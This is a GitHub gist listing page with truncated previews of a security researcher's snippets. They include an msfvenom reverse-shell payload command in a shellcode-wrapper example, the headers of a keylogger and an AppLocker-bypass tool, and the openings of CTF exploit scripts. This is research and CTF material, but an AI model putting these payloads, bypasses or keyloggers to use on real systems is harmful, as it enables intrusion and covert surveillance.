Skip to content

Instantly share code, notes, and snippets.

View hugsy's full-sized avatar
:octocat:
‎just hacking on

crazy hugsy hugsy

:octocat:
‎just hacking on
View GitHub Profile
@hugsy
hugsy / python-ptrace_capstone.patch
Created September 4, 2014 00:57
Using Capstone engine as disassembler in Python-Ptrace
--- ptrace/disasm.c 2014-04-10 10:30:33.000000000 +1200
+++ ptrace/disasm2.c 2014-09-04 12:52:53.425315639 +1200
@@ -4,28 +4,21 @@
try:
from ptrace.cpu_info import CPU_I386, CPU_X86_64
- try:
- from distorm3 import Decode
- if CPU_X86_64:
- from distorm3 import Decode64Bits as DecodeBits
@hugsy
hugsy / check-ms14-066.sh
Created February 1, 2015 23:43
Quick'n dirty script to test MS14-066
#!/bin/bash
#
# @_hugsy_
#
# Simple (harmless) to test if target is vulnerable to SChannel() memory corruption - MS14-066
#
# It uses the fact that MS added 4 new cipher suites to the patch
# TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
# TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
# TLS_RSA_WITH_AES_256_GCM_SHA384
"""
XOR-encoded shellcode wrapper for Windows x86-32 (works fine on x86-64)
Example:
$ msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai \
--format raw -b '\x00\xff' LHOST=192.168.56.1 LPORT=8080 \
2>/dev/null | python xor-payload.py --excel
@_hugsy_
@hugsy
hugsy / translate.py
Created March 1, 2015 03:54
Use Google REST Translate service
#!/usr/bin/env python2
# -*- coding : utf-8 -*-
#
from os import getenv
from sys import path, argv
from httplib import HTTPConnection
from json import loads
from pprint import pprint
from array import array
@hugsy
hugsy / RunMe.c
Last active March 5, 2021 16:31
RunMe.c
/**
* Trick to run arbitrary command when code execution policy is enforced
* (i.e. AppLocker or equivalent). Works on Win98 (lol) and up - tested on 7/8
*
* To compile using CL as DLL:
* C:> cl.exe RunMe.c /LD /OUT:RunMe.dll
* To compile as PE (USE_DLL must be commented out):
* C:> cl.exe RunMe.c /OUT:RunMe.exe
*
* To execute under Windows:
@hugsy
hugsy / gist:c193ab229e6077b971f0
Created May 22, 2015 23:26
basic http server to use for quick upload and download
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from SocketServer import ThreadingMixIn
from urlparse import urlparse
from datetime import datetime
import os, sys, tempfile
__author__ = "@_hugsy_"
__version__ = 0.1
__desc__ = "basic http server to use for quick upload and download"
@hugsy
hugsy / proxenet-logreqres-merge.py
Last active August 29, 2015 14:23
Merge two or more databases created by LogReqRes plugin for proxenet
#!/usr/bin/env python2.7
#
# Merge two or more databases created by LogReqRes plugin for proxenet
#
import sys, sqlite3
def init_merge_database(cur):
try:
@hugsy
hugsy / WinKeyLog.py
Created October 21, 2015 07:12
Cheap Windows userland keylogger
"""
Simple UserLand Keylogger for Windows
Based on pyHook.
@_hugsy_
"""
import sys
from ctypes import *
try:
@hugsy
hugsy / gist:88e7137466505e0402ca
Created March 7, 2016 12:33
bkpctf16: simple_calc
#!/usr/bin/env python2
#
# $ cat key
# BKPCTF{what_is_2015_minus_7547}
#
import socket, struct, sys, telnetlib, binascii
HOST = "simplecalc.bostonkey.party"
#HOST = "localhost"
PORT = 5400
#!/usr/bin/env python2
#
# $ cat key
# BKPCTF{th3 l4st 1 2 3z}
#
import socket, struct, sys, telnetlib, binascii, random
HOST = "simplecalc.bostonkey.party"
HOST = "localhost"
PORT = 5500